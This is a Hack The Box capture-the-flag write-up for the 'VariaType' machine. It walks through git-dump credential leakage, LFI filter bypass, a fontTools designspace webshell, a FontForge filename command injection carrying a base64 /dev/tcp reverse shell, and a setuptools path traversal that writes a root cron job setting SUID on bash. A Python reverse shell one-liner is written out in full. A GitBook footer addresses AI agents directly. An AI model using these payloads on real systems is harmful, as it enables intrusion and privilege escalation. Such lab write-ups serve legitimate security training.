> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-variatype.md).
# HTB - VariaType
## Enumeration and Foothold
### NMAP
```
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
80/tcp open http nginx 1.22.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```
Browsing to port 80 reveals domain name add it to hosts file.
### HTTP
Has an option to generate variable font.
The form takes two inputs to build a variable font:
* **.designspace file** — a UFO/DesignSpace XML file (from the fontTools ecosystem) that defines the axes (weight, width, etc.) and points to the master source files (typically `.ufo` folders) and instance definitions.
* **Master Fonts (.ttf or .otf)** — one or more compiled master font binaries corresponding to the extremes/points of the design space
* On submit, it presumably runs something like fontTools' `varLib` (`fonttools varLib` / `fontmake`) server-side to interpolate/merge these into a single variable font.
```bash
──(ajay㉿kali)-[~]
└─$ ffuf -H "Host:FUZZ.variatype.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.129.244.202:80/ -fs 169
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.244.202:80/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.variatype.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 169
________________________________________________
portal [Status: 200, Size: 2494, Words: 445, Lines: 59, Duration: 60ms]
:: Progress: [100000/100000] :: Job [1/1] :: 913 req/sec :: Duration: [0:01:58] :: Errors: 0 ::
```
subdomain enumeration revealed a new domain called portal add the domain to the hosts file.
need credentials to login to the portal which is a internal validation portal.
Directory enumeration on the portal website leaked a .git directory.
reading the git config file downloaded the file.
config file contains the username
reading the head file talks about removing hardcoded credentials.
that said i will get the full git repo locally for investigating.
#### Getting Git Repo Locally
```bash
┌──(ajay㉿kali)-[~/Documents]
└─$ git-dumper http://portal.variatype.htb/.git/ ~/variatype-git
[-] Testing http://portal.variatype.htb/.git/HEAD [200]
[-] Testing http://portal.variatype.htb/.git/ [403]
```
```bash
┌──(ajay㉿kali)-[~/variatype-git/.git]
└─$ git log --oneline --all
753b5f5 (HEAD -> master) fix: add gitbot user for automated validation pipeline
5030e79 feat: initial portal implementation
```
Checking the difference between both the commits resulted in hardcoded credentials for gitbot user.
```bash
'gitbot' => 'G1tB0t_Acc3ss_2025!'
```
i can use the credentials to access the internal validation portal.
### Access to Internal validation portal
The dashboard is empty that said i will upload a file and see how it reacts.
#### Creating Fonts and TTF files
```bash
──(ajay㉿kali)-[~]
└─$ pip install fonttools ufoLib2 fontmake --break-system-packages
```
```bash
import ufoLib2
from ufoLib2.objects import Font, Glyph
def make_ufo(family, style, weight_value, glyph_width, path):
font = Font()
font.info.familyName = family
font.info.styleName = style
font.info.unitsPerEm = 1000
font.info.ascender = 800
font.info.descender = -200
font.info.capHeight = 700
font.info.xHeight = 500
# .notdef glyph (simple box)
notdef = Glyph("notdef")
notdef.width = glyph_width
pen = notdef.getPen()
pen.moveTo((100, 0))
pen.lineTo((100 + (glyph_width-200), 0))
pen.lineTo((100 + (glyph_width-200), 700))
pen.lineTo((100, 700))
pen.closePath()
font.addGlyph(notdef)
# Simple 'A' glyph, stem width varies with weight
a = Glyph("A")
a.unicode = ord("A")
a.width = glyph_width
stem = 60 + int(weight_value / 10)
pen = a.getPen()
pen.moveTo((0, 0))
pen.lineTo((stem, 0))
pen.lineTo((glyph_width // 2, 700))
pen.lineTo((glyph_width - stem, 0))
pen.lineTo((glyph_width, 0))
pen.lineTo((glyph_width // 2 + 40, 700))
pen.closePath()
font.addGlyph(a)
font.glyphOrder = [".notdef", "A"]
font.save(path, overwrite=True)
print(f"Wrote {path}")
make_ufo("TestVar", "Regular", 400, 600, "Regular.ufo")
make_ufo("TestVar", "Bold", 700, 640, "Bold.ufo")
```
```bash
┌──(ajay㉿kali)-[~]
└─$ chmod +x ufo.py
┌──(ajay㉿kali)-[~]
└─$ python3 ufo.py
Wrote Regular.ufo
Wrote Bold.ufo
```
```bash
```
save the file as `TestVar.designspace`
```bash
──(ajay㉿kali)-[~]
└─$ mkdir -p masters
┌──(ajay㉿kali)-[~]
└─$ fontmake -u Regular.ufo -o ttf --output-dir masters
'INFO:fontmake.font_project:Building TTF for TestVar-Regular
INFO:ufo2ft:Pre-processing glyphs
INFO:ufo2ft.filters:Running DecomposeComponentsFilter on TestVar-Regular
INFO:ufo2ft.filters:Running RemoveOverlapsFilter on TestVar-Regular
INFO:ufo2ft.filters:Running CubicToQuadraticFilter on TestVar-Regular
INFO:ufo2ft.filters.cubicToQuadratic:New spline lengths:
INFO:ufo2ft:Building OpenType tables
INFO:fontmake.font_project:Saving masters/Regular.ttf
┌──(ajay㉿kali)-[~]
└─$ 'fontmake -u Bold.ufo -o ttf --output-dir masters
quote>
┌──(ajay㉿kali)-[~]
└─$
┌──(ajay㉿kali)-[~]
└─$ fontmake -u Bold.ufo -o ttf --output-dir masters
INFO:fontmake.font_project:Building TTF for TestVar-Bold
INFO:ufo2ft:Pre-processing glyphs
INFO:ufo2ft.filters:Running DecomposeComponentsFilter on TestVar-Bold
INFO:ufo2ft.filters:Running RemoveOverlapsFilter on TestVar-Bold
INFO:ufo2ft.filters:Running CubicToQuadraticFilter on TestVar-Bold
INFO:ufo2ft.filters.cubicToQuadratic:New spline lengths:
INFO:ufo2ft:Building OpenType tables
INFO:fontmake.font_project:Saving masters/Bold.ttf
┌──(ajay㉿kali)-[~]
```
Uploading the three files generated a design space file pointing to the 2 master fonts.
Now on the portal site reloading the page shows the file uploaded.
clicking on view and download both refer the file uploaded using the f parameter which is good sign to check for LFI.
### Local File Inclusion
looking for `/etc/passwd` results in file not found. probably some filtering is in place.
that i tried to reference the file i uploaded which resulted with 200 ok response but also revealed interesting details.
the filename parameter strips the `../` so i will use `....//`
Local file inclusion confirmed.
access log accessible , but since download.php forces `Content-Disposition: attachment`, it's streaming file contents rather than including/executing them so classic log-poisoning-to-RCE via this exact endpoint won't work.
i need to find the root directory, reading the ngnix files identified the root directory.
reading the download.php confirms that the f parameter strips `../`
Confirms the exact path (`/opt/variatype/app.py`, runs as user `variatype`) and reveals something important: `ReadWritePaths=/var/www/portal.variatype.htb/public/files` the Flask service can write into the **PHP portal's own files directory**. That's very likely the link between the two apps (the portal's upload triggers this Flask service to do the actual font-building, writing results back into `/files/`).
```bash
import os
import tempfile
import subprocess
import shutil
import secrets
from flask import Flask, render_template, request, redirect, url_for, flash, send_file
app = Flask(__name__)
app.secret_key = '7e052f614c5f9d5da3249cc4c6d9a950053aed370b8464d2e8a81d41ff0e3371'
UPLOAD_FOLDER = '/tmp/variabype_uploads'
DOWNLOAD_FOLDER = '/var/www/portal.variatype.htb/public/files'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(DOWNLOAD_FOLDER, exist_ok=True)
@app.route('/')
def home():
return render_template('home.html')
@app.route('/services')
def services():
return render_template('services.html')
@app.route('/tools/variable-font-generator')
def variable_font_generator():
return render_template('tools/variable_font_generator.html')
@app.route('/tools/variable-font-generator/process', methods=['POST'])
def process_variable_font():
designspace = request.files.get('designspace')
master_fonts = request.files.getlist('masters')
if not designspace or not master_fonts:
flash('Please upload a .designspace file and at least one master font (.ttf/.otf).', 'error')
return redirect(url_for('variable_font_generator'))
if not designspace.filename.endswith('.designspace'):
flash('The main file must be a valid .designspace document.', 'error')
return redirect(url_for('variable_font_generator'))
unique_id = secrets.token_urlsafe(8)
download_filename = f"variabype_{unique_id}.ttf"
download_path = os.path.join(DOWNLOAD_FOLDER, download_filename)
with tempfile.TemporaryDirectory(dir=UPLOAD_FOLDER) as workdir:
ds_path = os.path.join(workdir, 'config.designspace')
designspace.save(ds_path)
for font in master_fonts:
if font.filename.endswith(('.ttf', '.otf')):
font.save(os.path.join(workdir, font.filename))
else:
flash('Only .ttf and .otf master fonts are supported.', 'error')
return redirect(url_for('variable_font_generator'))
try:
subprocess.run(
['fonttools', 'varLib', 'config.designspace'],
cwd=workdir,
check=True,
timeout=30
)
output_file = None
for f in os.listdir(workdir):
if f != 'config.designspace' and not f.startswith('.'):
output_file = f
break
if output_file:
shutil.copy2(os.path.join(workdir, output_file), download_path)
return render_template('tools/success.html', download_id=unique_id)
except subprocess.TimeoutExpired:
flash('Font generation timed out.', 'error')
return redirect(url_for('variable_font_generator'))
except subprocess.CalledProcessError:
flash('Font generation failed during processing.', 'error')
return redirect(url_for('variable_font_generator'))
except Exception:
flash('An unexpected error occurred.', 'error')
return redirect(url_for('variable_font_generator'))
@app.route('/download/')
def download_file(download_id):
if not download_id.replace('_', '').replace('-', '').isalnum():
flash('Invalid download ID.', 'error')
return redirect(url_for('variable_font_generator'))
filename = f"variabype_{download_id}.ttf"
path = os.path.join(DOWNLOAD_FOLDER, filename)
if os.path.exists(path):
user_filename = f"MyVariableFont_{download_id}.ttf"
return send_file(path, as_attachment=True, download_name=user_filename)
else:
flash('File not available for download.', 'error')
return redirect(url_for('variable_font_generator'))
if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)
```
Debian 12 ships **Python 3.11** as default.
Reading the version of fontTools uses 4.50.0.
**CVE-2025-66034** fontTools versions **4.33.0 to before 4.60.2** have an arbitrary file write vulnerability in `fontTools.varLib` that leads to RCE when a malicious `.designspace` file is processed.
### **CVE-2025-66034**
The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and **inject malicious code (like PHP) into the output files through XML injection in `labelname` elements**. When these files are placed in web-accessible locations and executed, this achieves RCE without requiring any elevated privileges.
**Craft a malicious `.designspace`** that uses path traversal in the output filename and injects a PHP webshell into a `labelname` element:
```bash
]]]]>]]>WeightDisplay Thin
```
upload the fonts created earlier.
```bash
──(ajay㉿kali)-[~]
└─$ curl "http://portal.variatype.htb/files/shell.php?c=id"
Warning: Binary output can mess up your terminal. Use "--output -" to tell curl to output it to your terminal anyway, or consider "--output " to save to a file.
┌──(ajay㉿kali)-[~]
└─$ curl -s "http://portal.variatype.htb/files/shell.php?c=id" -o /tmp/o.bin
┌──(ajay㉿kali)-[~]
└─$ strings /tmp/o.bin | grep -E 'uid=|gid=|groups='
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```
RCE confirmed as the file is written successfully.
that said i will use it to get reverse shell.
```bash
┌──(ajay㉿kali)-[~]
└─$ curl -sG "http://portal.variatype.htb/files/shell.php" --data-urlencode \
'c=python3 -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.49\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])"'
```
## Shell as www-data
stable the shell.
```bash
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@variatype:~/portal.variatype.htb/public/files$ export TERM=xterm
export TERM=xterm
www-data@variatype:~/portal.variatype.htb/public/files$
```
found a script.py.
```bash
www-data@variatype:/opt/variatype$ cat script.py
cat script.py
import re
import os
from pathlib import Path
project_root = Path("/opt/variatype")
def remove_python_comments(content: str) -> str:
lines = content.splitlines(keepends=True)
new_lines = []
for line in lines:
if re.match(r"^\s*
continue
line = re.sub(r"\s*
new_lines.append(line)
return "".join(new_lines)
def remove_html_comments(content: str) -> str:
return re.sub(r"", "", content, flags=re.DOTALL)
for py_file in project_root.rglob("*.py"):
with open(py_file, "r", encoding="utf-8") as f:
content = f.read()
new_content = remove_python_comments(content)
with open(py_file, "w", encoding="utf-8") as f:
f.write(new_content)
for html_file in (project_root / "templates").rglob("*.html"):
with open(html_file, "r", encoding="utf-8") as f:
content = f.read()
new_content = remove_html_comments(content)
with open(html_file, "w", encoding="utf-8") as f:
f.write(new_content)
print("✅ Comentarios eliminados en archivos .py y .html.")
www-data@variatype:/opt/variatype$
```
Also there is a bak file in the opt directory which is worth looking into.
www-data@variatype:/opt$ s
ls
font-tools process_client_submissions.bak variatype
www-data@variatype:/opt$ file process_client_submissions.bak
file process_client_submissions.bak
process_client_submissions.bak: Bourne-Again shell script, ASCII text executable
www-data@variatype:/opt$ cat process_client_submissions.bak
cat process_client_submissions.bak
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez <steve@variatype.htb>
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi
www-data@variatype:/opt$
The script processes files uploaded to `/var/www/portal.variatype.htb/public/files` using **FontForge** (`/usr/local/src/fontforge/build/bin/fontforge`).\
The filename validation (`^[a-zA-Z0-9._-]+$`) is strict **no command injection via the filename is possible** (no quotes, semicolons, backticks, etc.).
The only plausible way to achieve code execution is to **craft a malicious font file** that exploits a known vulnerability in FontForge.\
When the cron job opens your file with `fontforge.open()`, the vulnerability triggers and executes arbitrary code as `steve`.
```bash
www-data@variatype:/$ /usr/local/src/fontforge/build/bin/fontforge --version
/usr/local/src/fontforge/build/bin/fontforge --version
Copyright (c) 2000-2025. See AUTHORS for Contributors.
License GPLv3+: GNU GPL version 3 or later
with many parts BSD . Please read LICENSE.
Version: 20230101
Based on sources from 2025-12-07 11:44 UTC-D.
Based on source from git with hash: a1dad3e81da03d5d5f3c4c1c1b9b5ca5ebcfcecf
fontforge 20230101
build date: 2025-12-07 11:44 UTC
www-data@variatype:/$
```
FontForge version 20230101, build date 2025-12-07
build have a command injection vulnerability in zip files upload i can leverage this to get shell.
found this poc for the CVE-2024-25082
{% embed url="" %}
### CVE-2024-25082
```bash
┌──(ajay㉿kali)-[~/CVE-2024-25082]
└─$ ls
exploit.py LICENSE poc README.md writeup.md
┌──(ajay㉿kali)-[~/CVE-2024-25082]
└─$ chmod +x exploit.py
┌──(ajay㉿kali)-[~/CVE-2024-25082]
└─$ python3 exploit.py --lhost 10.10.14.49 --lport 5555
[+] Created exploit.zip
[+] Malicious filename: $(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40OS81NTU1IDA+JjE=|base64 -d|bash).ttf...
[+] Payload length: 79 chars
[+] Serve with: python3 -m http.server 8080
[+] Upload: curl http://10.10.14.49:8080/exploit.zip -o /path/to/upload/directory/exploit.zip
```
host the file and upload it to the target.
```bash
──(ajay㉿kali)-[~/CVE-2024-25082]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.244.202 - - [18/Aug/2026 22:40:55] "GET /exploit.zip HTTP/1.1" 200 -
10.129.244.202 - - [18/Aug/2026 22:42:44] "GET /exploit.zip HTTP/1.1" 200 -
```
```bash
www-data@variatype:/$ wget http://10.10.14.49:80/exploit.zip -O /var/www/portal.variatype.htb/public/files/exploit.zip
wget http://10.10.14.49:80/exploit.zip -O /var/www/portal.variatype.htb/public/files/exploit.zip
--2026-08-18 18:42:44-- http://10.10.14.49/exploit.zip
Connecting to 10.10.14.49:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 275 [application/zip]
Saving to: ‘/var/www/portal.variatype.htb/public/files/exploit.zip’
/var/www/portal.var 100%[===================>] 275 --.-KB/s in 0.001s
2026-08-18 18:42:44 (350 KB/s) - ‘/var/www/portal.variatype.htb/public/files/exploit.zip’ saved [275/275]
www-data@variatype:/$ ls -l /var/www/portal.variatype.htb/public/files/exploit.zip
ls -l /var/www/portal.variatype.htb/public/files/exploit.zip
-rw-r--r-- 1 www-data www-data 275 Aug 18 18:38 /var/www/portal.variatype.htb/public/files/exploit.zip
www-data@variatype:/$
```
start a netcat listener and we will get the shell in few seconds.
## Shell as Steve
```bash
steve@variatype:/tmp/ffarchive-18437-1$ cd cd ~
cd ~
steve@variatype:~$ ls
ls
bin logs processed_fonts quarantine user.txt
steve@variatype:~$ cat user.txt
cat user.txt
af7983ce4755151389a91e5822089289
steve@variatype:~$
```
```bash
steve@variatype:~$ cat /opt/font-tools/install_validator.py
cat /opt/font-tools/install_validator.py
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py ")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)
plugin_url = sys.argv[1]
if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()
```
The script `/opt/font-tools/install_validator.py` uses `setuptools.package_index.PackageIndex.download()` to fetch a plugin from a user‑supplied URL.
The script:
* Accepts an **http/https** URL (validated by `urlparse`).
* Calls `PackageIndex.download(plugin_url, PLUGIN_DIR)`.
* If the URL contains a fragment like `#egg=...`, `setuptools` treats it as a **Python distribution**.
* When downloading a **source distribution** (e.g. `.tar.gz`) with `#egg=...`, `setuptools` will:
1. Download the archive.
2. **Extract** it.
3. **Execute `setup.py`** as part of the “egg” metadata generation.
Because the script runs with **`sudo` (root)**, the `setup.py` will run with **root privileges**.
setup tools is vulnerable to path traversal ->RCE write
### CVE-2025-47273
i will write a cron that will run every minute and adds a suid bit to the /bin/bash
```
echo '* * * * * root chmod u+s /bin/bash' > cron
```
```bash
import http.server
import socketserver
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
with open("cron", "rb") as f:
self.wfile.write(f.read())
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
```
```bash
steve@variatype:~$ sudsudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.49/%2fetc%2fcron.d%2fsuid#egg=evil-1.0"
sudo /usr/bin/python3 /opt/font-tools/install_validator.py "http://10.10.14.49/%2fetc%2fcron.d%2fsuid#egg=evil-1.0"
2026-08-18 19:12:21,721 [INFO] Attempting to install plugin from: http://10.10.14.49/%2fetc%2fcron.d%2fsuid#egg=evil-1.0
2026-08-18 19:12:21,734 [INFO] Downloading http://10.10.14.49/%2fetc%2fcron.d%2fsuid#egg=evil-1.0
2026-08-18 19:12:21,830 [INFO] Plugin installed at: /etc/cron.d/suid
[+] Plugin installed successfully.
```
wait for some time and the cron will be executed and the suid bit is set to the /bin/bash.
## Shell as Root
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-variatype.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
